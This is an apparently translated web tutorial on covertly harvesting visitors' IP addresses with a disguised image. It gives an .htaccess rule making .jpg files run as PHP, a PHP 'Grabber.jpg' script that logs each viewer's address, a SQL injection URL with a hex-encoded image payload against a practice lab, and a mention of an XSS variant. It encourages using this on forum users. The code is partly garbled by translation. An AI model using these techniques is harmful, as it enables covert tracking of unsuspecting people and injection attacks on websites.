Based on the PHP implementation of the photo to obtain an IP address,
In this tutorial, we'll learn how to use a single photo to steal an IP address. My idea is to parse the jpg file as a php file by modifying the. htaccess file.
Here is the code we need to add to the. htaccess:
AddHandler application/x-httpd-php5. jpg
Then copy the following code into Notepad, named Grabber.jpg
<?PHP$FH = fopen (' Ip_list.txt ', ' a '); Fwrite ($fh, $_server[' remote_addr ']. ""); Fclose ($fh); $im = Imagecreatefromjpeg ("n00b.png"); header (' content-type:image/jpeg '); imagejpeg ($im); Imagedestroy ( $im);? >
Set the Grabber.jpg permission to 755, then find a photo, name it n00b.png, and then place it in the same directory as grabber.jpg.
In this way, all work is ready. When someone browses grabber.jpg this photo, his IP address will be recorded.
(Translator Note: These things need to be uploaded to our personal site space)
Poc:
(Translator Note: The author here posted a can get IP demo photo, for everyone's privacy, I did not post it, readers can go to the author blog to view)
At this point, our photos are ready to start working.
And then I want to explain how to use Sqli to get an IP address. In fact, the use of photos to steal IP address is very fast, we have no reason to use sqli this method, but in order to let the reader get more knowledge, I would like to explain:
Http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′union Select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d6 52e6a7067223e,3#
Now, say how to use XSS to get an IP address:
Http://leettime.net/xsslab1/chalg1.php?name=&submit=Search
All right, that's it.
We can do a lot of interesting things with this technique, in fact most communities allow us to post some photos, so we can use this method to get all the IP addresses of the people who have access to our photos.
The above is a small part of the introduction of the implementation of the PHP based on the use of photos to obtain IP address related content, I hope to help you!
http://www.bkjia.com/PHPjc/1123832.html www.bkjia.com true http://www.bkjia.com/PHPjc/1123832.html techarticle based on the PHP implementation of the image to obtain an IP address, in this tutorial, we will learn how to use a photo to steal IP address. My idea is to modify the. htaccess file to treat JPG files as ...